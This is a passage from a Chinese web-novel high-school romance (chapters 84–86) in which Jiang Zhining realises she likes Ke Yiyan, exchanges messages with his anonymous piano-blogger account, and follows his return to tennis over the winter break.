柯译衍勾唇笑着，心情好得不行，刻意放缓脚步，任由姜织宁折腾他。 两人都是颜值王者，姜织宁今天一身酷妹运动风打扮，穿搭和柯译衍的穿着风格无比默契，一眼看上去特像情侣装。 图书馆借阅区面积特别大，少年少女姿势亲昵，一路拉拉扯扯，引来不少路人好奇回头打量。 走到借阅区外面，柯译衍忽然停下来，垂眸瞥了眼被扯到皱巴巴的衣袖，抬眼看向姜织宁，笑道：“想看我手机？” 姜织宁硬邦邦嗯了声。 他闲闲问：“什么身份？” 她不解蹙眉。 “以什么身份看我手机？”柯译衍直白说。 姜织宁被这个敏感问题噎了下，手机是很私人的物品，确实不能轻易给别人看。 “朋友啊，朋友不能看吗？”她语调干巴巴，怀疑道，“干什么，你手机里有不可告人的秘密？” 柯译衍看着她，含笑嗯了声：“还真有，挺多的。” “”姜织宁沉默了下，平静说，“你别误会，我对你的秘密没兴趣，就确认一眼微信备注，要么你打开给我看也行。” 柯译衍：“为什么非要看你的备注？” 姜织宁：“因为手痒想打人。” “什么？” “没事，你别管，这不重要。” “朋友看不了。”柯译衍刻意惋惜叹了口气，紧跟着，意有所指地说，“手机这个东西呢，在我这里只能女朋友看，女朋友随便看。” “” 姜织宁一时无言以对，这话挑不出毛病，她根本反驳不了。 理是这么个理，但是，这句话直接在她和柯译衍之间划了条泾渭分明的界限，导致她心里很不舒服。 如果是以前，她绝不会产生这种无语反应，她会表示理解，就此翻篇，毕竟她对大部分人事物都不在意。 可是现在心里突然不舒服了，姜织宁有些郁闷，自己都觉得自己莫名其妙。 话题没法继续聊下去，照柯译衍这意思，她永远都看不了他手机呗，她总不能说，那我做你一分钟女朋友，你让我看下手机，这太离谱了。 坦白说，脑子里确实有闪过这个离谱念头，但她还没到昏头程度，及时克制了口不择言，忍住没说。 姜织宁冷冷盯着柯译衍，放下紧拽住他的手，没好气吐槽：“小气！” 说完，顾自转身走向对面自习室。 “” 唉，他惹宁王生气了。 柯译衍叹了声，无奈跟上姜织宁。 第84章 她是喜欢他 姜织宁面无表情坐到位子上, 翻开练习册，柯译衍眉眼含笑，慢悠悠跟上来, 目不斜视坐到她身旁。 “干什么？” 翻书的指尖顿了顿，姜织宁蹙眉看向柯译衍, 怕吵醒周静瑶，嗓音低八度质问。 柯译衍把手里的平板放到桌上, 淡然表示：“学习。” 姜织宁：“你都没带书，学什么习？” 柯译衍下巴微抬, 朝前一指, 散漫回：“这不是有平板吗。” 姜织宁无话可说, 定定看了他几秒，平静收回目光, 不想再搭理他，柯译衍勾唇笑了笑, 就这么巍然不动坐着，也不走。 没过一会儿, 周静瑶被后桌急促的手机铃声吵醒，她皱眉长长叹了口气, 揉了揉惺忪睡眼, 慢吞吞打着哈欠抬头。 下一秒, 视线定住, 愣怔望着突然出现的柯译衍。 “巧啊，衍神。”周静瑶慢半拍反应过来, 打了个招呼, 然后扭头问朱恬，“衍神什么时候来的？ 朱恬轻声讲：“刚坐下不久。” 自从柯译衍坐下后, 他们这桌区域迅速升级为5A风景区，人流量猛增。 在他来之前，动不动就有男生走过来偷瞄姜织宁，有几个胆大的还会主动上前索要联系方式，他来了后，假装路过的人群里冒出不少女生，一个个神情跃跃欲试。 周静瑶托腮看着这帮演技拙劣的路人，啧啧感叹，觉得蛮搞笑。 片刻，柯译衍放下触控笔，再一次瞥向姜织宁，低声问：“喝奶茶么？” “不喝。”姜织宁冷声拒绝。 其实，她余光早就发现柯译衍会时不时侧目瞄她一眼，频率极高，也不说话，光看她，目光明目张胆，不知道他想干嘛。 她自幼被人看惯了，心态稳得很，就当无事发生，一点也不想主动开口。 无所谓的。 柯译衍毫不介意姜织宁的冷淡态度，直接给她换了个选项：“咖啡呢？” 姜织宁默了下，没好气反问：“你是不是想害我？现在是下午，喝咖啡我怎么早睡早起？失眠你负责。” “嗯，有道理，我的错。”他挑了挑眉，好脾气说。 这下，连周静瑶都听出不对劲了。 在她印象中，姜织宁几乎没和柯译衍发过脾气，她曾经以为双A组会王不见王，结果，两人日常相处却和谐得很。 说实话，双A组给人感觉挺反差的。 这两位都是外表瞧着不好惹，天生自带攻击性的类型，其实接触下来便知道，并不是第一眼印象那么回事，反而人挺好相处，也挺好说话。 呼吸滞住的同时，周静瑶不动声色看向朱恬，用眼神询问，双A组咋了啊？ 朱恬默默垂下眼睫，不敢吭声。 菜单上还有无咖啡因饮品，柯译衍瞧出姜织宁还在气头上，估摸她这会儿什么也不想喝，便妥协不问了。 他将手机锁屏，随意放到桌上，好声好气问她：“晚上什么安排？” “上街舞课啊。”姜织宁硬邦邦回。 “几点开始？” “八点多。” 他提议：“一起吃晚饭？附近有家餐厅还不错。” “晚上我要和” 姜织宁正要拒绝，话还没说完，就被朱恬打断。 朱恬很有眼力劲，及时插嘴说：“宁王，晚上我不能和你一起吃饭了，刚才妈妈给我发信息，说家里来了重要客人，我得回去。” 啊？ 这么突然吗？ 看姜织宁犹豫不决，柯译衍唇角微挑，慢悠悠笑说：“下次见面估计得开学后。” 姜织宁疑惑看向他。 柯译衍解释：“我后天早上飞雾京。” 离别，异地，有段时间不能见面了。 姜织宁脑子里蹦出的第一反应是这个。 很奇怪，很微妙，和友谊毫不相关，明显超出界限的不舍反应，她很清楚这不正常。 比起暑假，寒假时间不算长，从放假到今天之前，她和柯译衍没见过面，只是在微信里聊，即使没见面，她也没有萌生出眼下这种复杂心情。 本该无所谓的，内心却被他轻易搅乱，不由自主蹦出在意情绪，虽然能微信联系，但是异地，总归给她感觉不太一样。 沉默了会儿，姜织宁淡声问：“你不在这边过年？” 柯译衍摇头：“在雾京过。” 她静了下，又问：“什么时候回来？” 柯译衍：“还没定。” 不出意外会成为柯译衍后爸的周平清是雾京人，当初柯卉芸离婚后心灰意冷，身心俱疲，她想割离和前夫有关的一切，就把儿子丢给父母养，独自前往雾京打拼事业，也是在那段时期，她和周平清久别重逢。 事业逐渐走上正轨后，柯卉芸原本计划在雾京定居，房都买了，后来她逐渐意识到愧对儿子，又改主意决定回江洲生活，为了陪伴柯卉芸，周平清把自己的事业重心挪到了江洲。 今年除夕夜，周平清和柯卉芸商量好去雾京父母家过年，原本想带柯译衍一起去，柯译衍拒绝了。 柯译衍临时决定飞去雾京，纯属因为外公外婆要过去，家里有几位长辈在雾京定居多年，今年决定把老人家接过来团聚，因此他得陪着两位老人。 当然，他自己也有事有忙，干脆提早过去。 姜织宁考虑片刻，最终跟随本心，答应柯译衍一起吃晚饭。 她本能的，拒绝不了他。 …… 临近除夕，少女们最后一次约在面包店刷题。 本来要约图书馆，但周静瑶坚决抗议，说那边太安静了，不方便聊天，她天性好动，实在是坐不住，静坐撑死一个小时，不能再多了。 姜织宁倒是随意，去哪都行，朱恬挑了挑，把见面地点改为甜品店。 三人坐在二楼窗边位置，桌子不大，所以桌上凌乱无序，放满了书本、吃的喝的。 周静瑶吸着热饮，在手机里刷到一个巨搞笑的笑话，她疯狂拍桌，咧嘴乐得不行，兴致勃勃讲给两人听。 朱恬听完笑话哈哈笑，姜织宁却毫无反应，慵懒拖着脸颊，若有所思注视着别处。 周静瑶和朱恬笑闹了会儿，忽然察觉姜织宁依然心不在焉，沉浸在自我世界里，顿时收敛笑意，好奇顺着她的视线，歪头朝前方看去。 前面零散坐着四五桌客人，也不知道姜织宁在看谁，周静瑶纳闷收回目光，冲她摆摆手。 “宁王？宁王？” “嗯？什么？”姜织宁慢吞吞眨了下眼，回过神。 周静瑶：“看什么呢，这么入神。” 姜织宁不由自主犯起嘴瓢，下意识回：“柯译衍。” “啊？衍神也在？ ”周静瑶面露惊讶，眼睛跟雷达似的迅速扫了圈。 结果本尊没看到，倒是发现一位侧影有几分相似的潮男，就坐在斜前方位置。 她误以为姜织宁在看这个男生，回头讲：“那个黑衣男生是吧，是有点像，蛮帅的，不过没衍神帅。” 姜织宁一听这话，立马心说，差远了。 她刚才一直在走神，眼睛长久注视着黑衣男生所在方向，任由思绪放空，飘向在雾京的那个人。 男生走上楼那会儿，她便看清楚他长什么样，一身潮酷穿搭，衣品在线，模样确实帅，但如果和柯译衍比起来的话，那真心差远了，压根不在一个级别上。 不过，这并不影响她因此走神，再凝神地想起柯译衍。 周静瑶向来心大，所谓的第六感在她这里常年掉线，尤其是牵扯到男女关系方面，向来后知后觉。 正准备继续说笑时，一瞬间，福至心灵，常年掉线的第六感突然在脑子里蹦射出激烈火花，逼迫她正视。 等等，不会吧？ 不会吧！不会吧！ 周静瑶愣住，然后慢吞吞转动脖子，一脸狐疑望向姜织宁。 意思是，姜织宁透过别人，在想柯译衍？还想了这么久？ 这太诡异了！ 从未有过的诡异！ 学校里，关于双A组的小道八卦周静瑶有听过一些，还有人亲自问到她这里来，作为闺蜜，她当然知道姜织宁为了校园生活清静，故意拿蔡从做挡箭牌，因为这个绝妙主意的背后有她一份功劳。 她记得姜织宁说过，如果真碰到喜欢的人，会考虑主动出击谈恋爱，并不排斥，而姜姓花季美少女之所以单身到现在，完全是因为一直没碰上心动男生，并不是封心锁爱。 所以说，姜织宁动心的猜测合情合理。 想到这，周静瑶简直要兴奋死了！ 那不得震惊吗！ 这可是姜织宁第一次对男生动心哎！ 都是自己人，周静瑶懒得绕弯子，迫不及待开口问：“那个宁王啊你对柯译衍，是不是有超出友谊的想法啊？” 沉默。 从不知道怎么了，到确定自己怎么了，自从那天和柯译衍吃过晚饭后，姜织宁一直在自我审视早已被搅乱的内心。 她到底，是在意什么呢？ 针对自己非要看柯译衍手机微信备注的那股劲，她认真沉思了段时间，最后得出结论，哦，她不是在意手机能不能看，而是在意柯译衍最后说的—— 女朋友随便看。 更严谨地说，是女朋友这三个字，令她非常在意，格外不舒服。 以往很多被忽视，氛围微妙的相处瞬间，被她翻出来仔仔细细审视一遍后，发现全都是她对柯译衍心动的佐证。 在意，不知何时起，对柯译衍早已超越朋友界限的在意。 混乱，她向来镇定的心跳节奏，只因他而变得混乱不堪。 想他，思绪总是情不自禁，无时无刻，长久凝神想起他。 …… 她终于意识到，柯译衍与众不同，是她的唯一。 原来喜欢一个人，是这样的。 感觉并不坏，那就，坦然接受。 知道周静瑶想问什么，姜织宁心中早有一个明确回答，但她还是不紧不慢地说：“在意，代表喜欢吗？” “那肯定啊！” 周静瑶猛点头，扭头看朱恬，一副这事你经验最丰富的表情，虚心请教说：“你觉得呢？” “心动才会在意呀，好感肯定是有的。” 朱恬抿唇笑起来，她性格敏感，有漫长的暗恋经历，其实早就看出点什么了，只不过因为谨慎，不敢乱说话。 她笑着补了句：“我觉得双A组特别般配。” “赞同。”周静瑶毫不犹豫地说。 周静瑶能这么表态，其实很难得。 毕竟姜织宁是她闺蜜，说真心话，她觉得谁也配不上姜织宁，包括蔡从。 但柯译衍给她感觉真挺不一样的，外貌不用说了，这是其次，主要是品行和能力，那是真的优秀，万里挑一，姜织宁喜欢上他，没毛病。 不反对，她绝对举双手双脚赞成双A组在一起！ 姜织宁唇角翘起来，含笑哦了声：“那就是喜欢吧。” 周静瑶笑嘻嘻说：“喜欢柯译衍？” “是啊。”她大大方方承认。 “可以啊宁王！我还以为只是好感呢，没想到你直接喜欢上了！所以下一步怎么办？”周静瑶积极怂恿，“表白吗？” 姜织宁蹙眉：“我不要面子的吗？” “懂了，女生主动不太好，可是不应该啊，”周静瑶嘶了声，疑惑不解地说，“咱们宁王可是直球酷妹！” “不是因为这个。”姜织宁摇摇头。 她并不排斥主动表白，正如周静瑶所说，她性格直球，而心里的顾虑，是因为喜欢的人是柯译衍，她才有所纠结。 姜织宁叹了口气，说：“你还记不记得，之前我误会柯译衍给我写情书。” 周静瑶点头：“当然记得，这事不就发生在你俩刚做朋友那会儿吗，怎么了？” “刚开始我挺烦挺气的，心想友谊小船要翻，这朋友没法做了。” “明白，懂你。” 周静瑶知道姜织宁会在男生面前划出一条线，但凡男生做出什么越线行为，那朋友基本没法做了，姜织宁会立马主动远离。 姜织宁撑着脸颊，郁闷说：“就觉得风水轮流转，回旋镖扎到自己身上。” 原本当纯友谊相处，她哪知道自己会对柯译衍动心。 动心就算了，麻烦的是，她和他不仅学校里一个班，家也住的近，每天抬头不见低头见，这要是表白失败了，日后相处岂不是很尴尬？ 总不可能失败后当做无事发生，继续做朋友吧？ 不可能的。 周静瑶听完她顾虑，点头表示理解：“也是啊，此事需要从长计议。” 姜织宁：“没那么着急，等开学后再说。” 话音落下，店里换了个歌单播放，歌挺好听，姜织宁拿起手机听歌识曲。 打开音乐app，消息那栏显示着未读私信，她顺势点进去看，下一秒，倏地愣住。 【K】：[分享链接] 【K】：新号。 弃号许久的音乐博主在半个小时前，突然给她分享了个新账号链接。 姜织宁不禁睁大眼，很不可思议。 她退出消息页面，先听歌识曲把店里的歌收藏了，然后迅速打开K给的链接。 账号名一样，只不过改成了小写字母k，粉丝数量0，个人信息空白，她浏览了一遍他的歌单，总结，这是个私人账号。 之前大号上传的那些钢琴曲，被他整理在一个名为moon的歌单中，令人惊喜的是，歌单里还上传了首新曲，曲名好梦，姜织宁看了眼上传时间，就在今天中午。 好梦？ 这个曲名 脑子里倏地蹦出个荒谬念头—— 这首好梦，该不会，是专门为她创作的吧？ 毕竟之前她私信感谢过他，说他的音乐对她的睡眠障碍帮助非常大。 想了想，姜织宁点击关注账号，随即私信博主。 【Ning】：滴滴。 对方正巧在线，回复速度很快。 【k】：怎么了？ 【Ning】：刚看到你的私信，关注你了，我居然是第一位粉丝哎！ 【k】：是吗，这么巧啊。 【Ning】：我也觉得好巧，对了，你以后准备换这个账号更新？ 【k】：不是，钢琴纯属业余爱好，空闲时弹着玩，没功夫稳定更新，这私人号，之前大号也是。 【Ning】：哦懂了，大号原本是私人号，没想到有天突然红了，唉，走红的烦恼。 姜织宁笑意盈盈，边饱含同情心打字，边止不住地笑，笑容挺缺德，但她实在忍不住。 唉，这博主太惨了。 【Ning】：那我还能关注你吗？要不取关？ 【k】：当然能。 【Ning】：主要怕打扰你，这粉丝嘛，有了第一个就会有第二个，有第二个就会有第十个，万一后面越来越多 【k】：别乌鸦嘴啊。 【Ning】：哈哈哈哈，好的好的，我肯定会保密的！放心，我关注你的想法很单纯，纯属音乐口味同频，没有其他乱七八糟想法。 【k】：很好。 【Ning】：发现你上传了新曲，那首好梦。 【k】：嗯，送你的。 【k】：以后钢琴曲都在歌单《moon》里更新。 指尖猛然停滞手机屏上方，一动不动。 荒谬猜测突然变为事实，姜织宁愣住，被博主的直白弄了个措手不及。 茫然数秒后，她不可置信打字反问。 【Ning】：啊？好梦是写给我的？？？ 【k】：当然，骗你干吗，你不是有睡眠障碍吗，希望能帮到你。 【Ning】：为什么？我中奖了吗？是那个幸运听众？ 幸运？ 柯译衍顶着明媚阳光，闲坐在网球场户外休息区，他凝视着幸运两个字，慢慢勾唇笑起来，垂眼输入一句话。 【k】：是我比较幸运。 因为遇见了你。 【Ning】：啊？ 【k】：没事，有什么想听的，可以和我说，尽量满足。 【Ning】：那怎么好意思。 柯译衍面不改色，慢悠悠打字胡扯。 【k】：没事，我也缺灵感。！！！ 姜织宁完完全全被他感动到了。 这博主也太好心！太善良了吧！ 想想也是，之前评论区好多人问他要琴谱，他都是无偿分享，有人问他曲子能不能拿去做bgm，他说随便用。 这不是当代活菩萨是什么？ 她想不到更合适的形容词。 姜织宁感动吸了吸鼻子，抹了把不存在的眼泪，指尖飞快输出。 【Ning】：你是什么神仙博主？ 【Ning】：难怪会走红。 【Ning】：如果可以打赏的话，我一定给你打钱！ 【Ning】：这软件有打赏功能吗？稍等一下，我现在就去找找看。 【Ning】：别问，问就是感动！ 柯译衍挑眉愣了下，被姜织宁无语住。 什么打赏 【k】： 【k】：倒也不必。 第85章 你是不是谈恋爱了？ 柯译衍到雾京之后, 除了陪伴家人，剩余时间基本和周跃丞、占子杰这帮球友待在一块儿，他在雾京的朋友不比江洲少, 毕竟初中是在雾京读的。 去年12月，在刚过去不久的橘子碗青少年网球赛事中, 周跃丞一路过关斩将，最终夺下亚军。 比赛结束后, 原本团队计划继续呆在美国训练直至春节后，由于后续参赛行程临时调整, 周跃丞便改主意提前飞回国。 橘子碗是国际久负盛名, 份量颇重的青少年网球A级大赛, 规模仅次于四大满贯青少年赛事，像费德勒、穆雷等世界著名球员都在年少时拿过橘子碗冠军。 这届橘子碗的参赛选手高手如云, 尽管周跃丞拼得亚军，但心里还是意难平, 他的目标一直是冠军。 回国后，周跃丞偶然得知柯译衍人在雾京, 立马抓住机会，打电话约人出来打球。 电话打过去, 他都做好三顾茅庐的准备了, 结果柯译衍一反常态, 特别好说话, 直接让他定时间地点。 态度罕见。 简直惊呆他。 反复确认是不是打错电话了。 打网球的人一年到头追着比赛国内外到处飞，平时除了比赛就是训练, 没什么节假日可言, 大家想扎堆聚一块儿真挺难的。 这回，球友们突然刷到周跃丞的朋友圈晒出柯译衍的打球侧影, 纷纷大受震惊。 趁过年期间有空，他们争先恐后约柯译衍球场见，柯译衍依然很好说话，来者不拒。 一帮人天天来网球场打球，球场都快变成据点了。 天色晴朗，阳光和煦，今天又是一个好天气。 周跃丞买完水回来，大剌剌坐到柯译衍身旁，递水同时，顺势偷瞄了眼手机屏幕。 柯译衍回完姜织宁信息，及时锁屏，把手机扔进球包。 “”周跃丞鼻腔哼出一声嗤笑，不屑道，“瞧你神秘的，和谁聊天啊，这么宝贝不让看。” 柯译衍侧目斜他一眼，接过矿泉水，拧开，慢悠悠评价：“你真八卦。” “我刚看到了啊，女生头像，你是不是谈恋爱了？”周跃丞狐疑质问。 柯译衍仰头喝了几口水，锋利喉结滚动，随后垂眼把水放到桌上，唇角微挑，笑说：“这么会联想，打什么网球，和俞杨组个队，戏精比较适合你们。” 周跃丞目光锐利盯着他：“少给我打岔，你最近很不对劲知道吧。” 柯译衍：“哪不对劲了？” 周跃丞分析道：“打球态度很积极，状态稳如老狗，怎么说，改主意了？比起校园生活，还是觉得球场香？呵呵，我就知道。” “”柯译衍是有点无语的，皱眉表示，“不积极要被你说，积极也要被你说，就说到底想怎么样吧？” “我还想问你到底想怎么样？”周跃丞冷哼两声，没好气呛他，“你哪是积极啊，你是积极得诡异！要搁以前，谁请得动你这尊金身大佛出来打球啊，现在你是天天住在网球场，还跟那位西班牙教练约课，这不诡异？我都怀疑你是不是柯译衍！” 柯译衍漆黑眼眸中流露出几分困惑，纳闷说：“我参加网球联赛那次也没见你这么疑神疑鬼啊，想这想那的，趁早转行吧，警察也挺适合你。” 周跃丞斜眼睨他：“你别说，那次也诡异，都给我吓的从佛罗里达飞回来参赛了，为了你，特意从大老远飞回国，就说感不感动？” “”柯译衍无语叹气。 周跃丞接着说：“但有一说一，网球联赛再怎么诡异，也没见你主动约教练，你这次可是找教练约课了。” 明媚阳光突然照到脸上，直射眼睛，柯译衍眯眼戴上棒球帽，懒洋洋笑道：“约没约教练你又知道了，你在江洲有眼线？这么关心我？” 周跃丞双手懒散环至胸前，下巴微抬，被戳穿也不急，不咸不淡说：“有眼线怎么了？这你别管，反正你这回反常找教练约课了，事出反常必有妖。” “约个课都不行？哪来这么多反常。”柯译衍服气反问，然后长叹了口气，不着调回道，“看你这么关心我的份上，知道了，以后不管做什么事，都提前和你汇报一声，满意没？” “你少来这套。”周跃丞顿时嫌弃瞥他一眼，坚持己见，皱眉说，“别说我了，其他人也觉得你大变活人啊，最近都跑来私下问我怎么回事，我怎么说？那么多双眼睛都在盯着你。” 柯译衍在去年连拿两座大满贯青少年冠军，个人成绩好，形象好，风光无限过，之后又经历了一系列变故，迅速消失在球场上，最终查无此人。 天才陨落，昙花一现，话题性拉满，简直是人们最喜欢的茶余饭后谈资。 真心也好，看热闹笑话也罢，不可否认，直到现在，网球圈内明里暗里关注他一举一动的人依然很多。 柯译衍向来无所谓外界的风言风语，不在乎哼笑：“你爱怎么说就怎么说，发言权给你。” “我懒得搭理那帮神经病，一个个吃饱了没事干！”周跃丞冷脸骂道，然后不爽扭头，拿胳膊肘轻撞他，挑明问，“是兄弟就别绕弯子，实话实说啊你，是不是有重回球场的打算？” 或许是连日以来天气格外不错，又或许是其他原因，柯译衍来雾京这段时间心情好得很，就连路上的垃圾桶都让他觉得无比顺眼。 他散漫抬眼，注视着眼前湛蓝的网球场，静默数秒后，没否认，悠悠表示：“找到感觉再说。” 周跃丞愣了愣，会意扬眉笑起来。 懂了，所以这是在找感觉呗。 行啊，好兆头。 …… 寒假时间短，一转眼，除夕夜来临。 姜织宁过年特别忙，爷爷和外婆家两边跑，大年初一，她在爷爷家吃完午饭，就被姑姑开车送到外婆家住。 爷爷这边子女少，只生了兄妹两个，自从儿子车祸去世后，如今只剩下一家四口人，平日里难免冷清，外婆膝下子女多，生活就热闹很多，尤其是逢年过节的时候。 住在外婆家这些天，姜织宁生活充实，每天特别热闹。 舅舅阿姨们轮流上门拜年吃饭，家里长辈们都疼她，嘘寒问暖，塞给她的红包礼物毫不手软，小朋友和同龄亲戚也都喜欢拉着她玩。 姜织宁没什么网瘾，过年期间又帮着这里忙那里忙，手机经常被她扔角落里，一天到晚看不上几回，除了除夕夜那晚聊了会儿，她和柯译衍没有多余的联系。 上次校网球联赛结束后，几位和柯译衍关系不错的球友主动加了姜织宁微信。 柯译衍的微信朋友圈很干净，属于八百年不发一条那种，但并不妨碍她知道柯译衍在雾京做什么，因为他的身影频繁出现在这帮球友的朋友圈里。 他看上去也挺忙，要么在聚餐，要么在打球，打球，还是打球。 十张照片里，有九张在网球场的密集程度。 可想而知，柯译衍心无旁骛，假期百分之九十九的时间都花了在网球上，心中隐约猜到他在追寻什么，所以姜织宁不打算去打扰他。 过了几天，蔡从父母做东，邀请姜织宁去柏风酒店吃年饭。 蔡家司机按时过来接姜织宁，车门打开，就见蔡从闭眼瘫坐在车后排，坐姿毫无形象可言。 蔡从听见动静，疲乏眼皮懒懒掀起，视线寻到姜织宁，没劲打了声招呼。 又是这幅死样子，姜织宁不用问都知道，肯定又通宵了。 她坐上车，拿出一副妈妈为你好的语气，苦口婆心劝道：“蔡蔡啊，悠着点，别放个假就死命通宵打游戏，高三了，想想以后，你可是励志要做蔡总的人啊。” “想什么呢？”蔡从斜她一眼，慢吞吞说，“现在哪有机会通宵打游戏，我这是学习到凌晨好吗，否则以后怎么做蔡总？” 行吧，高三牲，真惨。 听他这么说，姜织宁还挺意外，哦了声，好心表示：“那你现在赶紧睡，别等会儿到饭桌上犯困被蔡叔骂。” “谢了啊，到了叫我。” “OK的。” 话里的深意只有两人懂，司机品不出来。 司机哪知道蔡从的造反大计，他听完这番对话，心中欣慰想着，蔡少爷长大了，终于知道好好学习，为接手家业做准备了，等会儿他就到蔡先生面前好好夸一番！ 汽车一路开进景区，减速停在酒店门口。 两人下车走向包厢，带路服务员帮忙推开厚重包厢门。 说笑寒暄声扑面而来，客人基本到齐，周静瑶一家也来了，还有几位姜织宁从小就认识的好朋友和各自父母，有男生有女生，就读于国内外不同学校。 到场家庭全都相识多年，彼此关系很熟，几家人逢年过节就会约着小聚。 饭桌上，长辈聊长辈的，小辈聊小辈的。 难得见面，合影必不可少，周静瑶自告奋勇，拿手机拍了不少照片发到朋友圈。 俞杨刷朋友圈时看到照片，依次点开欣赏两眼，然后坏心眼笑着，精心挑出其中姜织宁和蔡从的“亲密”合影，打击报复甩给柯译衍。 【羊羊羊】：震惊！快看，甜蜜聚会呢！宁王和蔡从居然合影C位坐一起！！！ 【K】：？ 【羊羊羊】：哎妈呀，你再仔细瞅瞅，这对青梅竹马的家长也在现场呢！你猜他们聊什么，该不会是在商量一起去哪所大学读书吧？ 【K】： 【羊羊羊】：嘤，俞老师在大洋彼岸对你表示深切的问候和同情！ 【K】：你犯病了？ 【羊羊羊】：呵呵，说不起一点，这就气急败坏了。 【羊羊羊】：怕你不刷朋友圈，所以特意发给你啊，知己知彼百战不殆，你得及时了解情敌的信息，不用谢我。 【K】：听不懂，说人话。 【羊羊羊】：暗恋苦啊，俞老师懂你，就说这合影看着心里酸不酸？烦不烦？ 【K】：烦不了一点。 【K】：我看你倒是挺烦的。 哟呵，柯译衍居然不领情！ 俞杨翻了个白眼，气冲冲打字。 【羊羊羊】：切，咋这么心大呢？别自欺欺人了啊，心烦郁闷就说出来，趁现在有空，俞老师好心开导你几句，否则你迟早闷出病！ 【羊羊羊】：早知如此何必当初，让你来美国冬训你不来，这下好了，碰见宁王要心烦了。 【K】：我又不在江洲，怎么碰见她。 【K】：你有事没事，很忙，没空闲聊。 不在江洲。 一说起这个，俞杨就特别来气。 之所以故意打击报复柯译衍，是因为他突然发现周跃丞朋友圈发的球场照里居然有柯译衍！还不止一张！ 柯译衍跟个吉祥物似的，哪哪都有他，他在好多球友的朋友圈都刷到了他！ 好家伙，叫他去美国冬训，他就是不去，好嘛，原来是一声不响跑去雾京练球了。 都不和他说一声！ 一帮人在雾京球场会友，每天热闹得不行，就他孤零零呆在美国训练。 俞杨心里酸得不行，醋了！ 【羊羊羊】：你丫有没有良心啊？该不会早就决定好去雾京了吧？ 【羊羊羊】：靠，都不和我说，刷到朋友圈才知道！我还煞费苦心劝你来美国，嘴皮子都说破了啊！ 【K】：谁说早就决定好了？ 【K】：临时决定好吧。 【羊羊羊】：谁信？难不成你还临时决定和西班牙教练约课？ 【K】：教练正好在这边，手里带出过大满贯冠军，换你你不约？ 【羊羊羊】：少扯啊，你这个背信弃义放弃网球的家伙！人教练厉不厉害和你有毛线关系？ 【羊羊羊】：丞哥说你打算重回赛场，吓得我连吃两碗大米饭！呵呵，我怎么不知道这件事？？？我居然不是第一个知道的，是好兄弟吗？？？ 【羊羊羊】：是不是想绝交！ 【K】： 【K】：你训练很闲么？一天到晚眼睛放我身上。 【K】：专心训练行么，你那反手技术，还有赛场心理素质，我都不想说你。 【羊羊羊】：谁说训练很闲？我这是忙里偷闲关心你好吧，我最近进步很快，球技好到我自己都害怕！ 【K】：行，到时候球场见。 【K】：等你打服我。 第86章 不是要占我便宜？来 元宵节过后, 高二下学期开学。 寒假过得太舒服了，一时导致开学适应不过来，学生们蔫了一个多星期才逐渐缓过来。 走廊上, 几名男生追逐打闹跑过，刮起阵阵疾风。 刘彬从楼梯拐角走出来, 一片兵荒马乱中险些被男生撞摔倒，好在他及时贴墙站稳。 这帮人, 一天天的！ 精力怎么这么旺盛啊！ 刘彬无奈摇了摇头，出手逮住罪魁祸首, 没好气质问：“柯译衍在没在班里？” 男生端正站好：“在。” “去把人叫过来。” “啥事啊彬彬？” 刘彬生气嘶了声：“少问, 赶紧给我去！” “得嘞。” 片刻, 柯译衍从班后门走出来。 刘彬开门见山说：“下周一国旗下演讲，你替姚飞上去。” 又是这事, 柯译衍毫无兴趣，想都没想, 直接拒绝：“您找别” “我不找别人。”刘彬早已猜到他态度，先一步打断说, “你都推脱几次了？” 柯译衍：“” 刘彬板起脸说：“这次是救急，姚飞要去雾京参加比赛, 其他候选人都演讲过好几次了, 就你东躲西藏, 每次找你尽推脱！这次, 你不上也得上。” 柯译衍无奈叹了声：“这不民主啊刘老师。” “不民主？你还好意思和我谈民主？？？”刘彬不可思议瞪着他，气道, “不民主我还能让你推脱这么多次？这次必须上！” 去国旗下演讲的学生, 要么是年级排名前三十的天之骄子，要么是各种比赛拿大奖的名人, 随机不定。 不是所有人都爱站台上讲话，毕竟要写稿、改稿、预演，就很麻烦，由于大部分时候不强制性，所以有些学生会拒绝这份差事。 比如柯译衍，照他这成绩早该上去演讲了，刘彬私下找过他好多次，柯译衍每次都推脱，转学至今，硬是一次也没上台过，太绝了。 这一回，刘彬气得非抓他上去不可！ 柯译衍正想拒绝，余光瞄见姜织宁和几名女生说笑着走上楼梯，她手上拿了瓶牛奶，看样子刚从超市回来。 刹那间，脑子里忽然想起跨年夜那晚她对他说的话。 柯译衍收回落在她身上的目光，微微勾唇说：“可以。” 猝不及防，刘彬被他反常态度弄得愣了几秒，确认问：“真的？没开玩笑？” 女生们看到班主任在，及时止住危险话题，纷纷加快脚步上楼回班。 快要擦肩而过时，姜织宁侧目瞥了眼柯译衍，与此同时，柯译衍煞有介事嗯了声：“主题都想好了。” “是吗？”刘彬又是一愣，感兴趣问，“你说说看。” 柯译衍注视着姜织宁背影，不轻不重，慢悠悠说：“世界是我的牡蛎，我将以利剑开启。” 姜织宁倏地停下脚步，人站在班门口，心有灵犀回头望向他。 目光交汇，柯译衍脸上笑意加深几分。 刘彬毫无察觉，顾自琢磨说：“莎士比亚是吧，也可以，这主题挺不错，那你回去准备下演讲稿，最晚明天晚上发给我。” “？”柯译衍皱眉，“明天不是周六吗？” 刘彬没好气道：“等到周一还来得及？你在家里写好，明天发我邮箱。” 又聊了几句，柯译衍被准许回班。 开学时全班座位大调整，现在姜织宁和周静瑶坐一起，柯译衍坐她身后，前后位和同桌没什么区别，距离都很近。 姜织宁一路注视着柯译衍进班，等他坐下来，立刻转身问：“班主任找你干嘛？” “下周一演讲。” 她叹了口气，感叹道：“刘老师对你真是执着啊，你又拒绝他了？” 柯译衍：“没有。” 她面露惊讶：“你答应他了？” 柯译衍笑了笑：“本来想拒绝，正好看到你出现，临时改主意。” 姜织宁问号脸：“和我有什么关系？” “当然有，你不是听见演讲主题了吗。”柯译衍勾唇注视她，逗她说，“莎士比亚那句，不就是你对我说的，说得很好，给我感动到了，决定大方分享一下。” 姜织宁：“” 这人看似真诚说感动到了，实则语调里明显能听出几分不着调是怎么回事啊？逗她玩呢？ 姜织宁欲言又止盯着柯译衍，挺想打人，最后还是笑着作罢。 算了，大概是因为喜欢作祟，所以能好脾气容忍心上人偶尔的不着调。 …… 冬去春来，气温逐渐回暖，小区里的花草树木终于不再光秃秃一片，绿意粉红如泼墨般迅速蔓延开，生机盎然。 周末下午，姜织宁在家里专心致志刷题，下学期的作业比上学期多出不少。 突然间，微信弹出新消息。 她抬眸瞄了眼，写完最后一行公式，放下笔，拿起手机，是柯译衍发来的。 【K】：想看松鼠吗？ 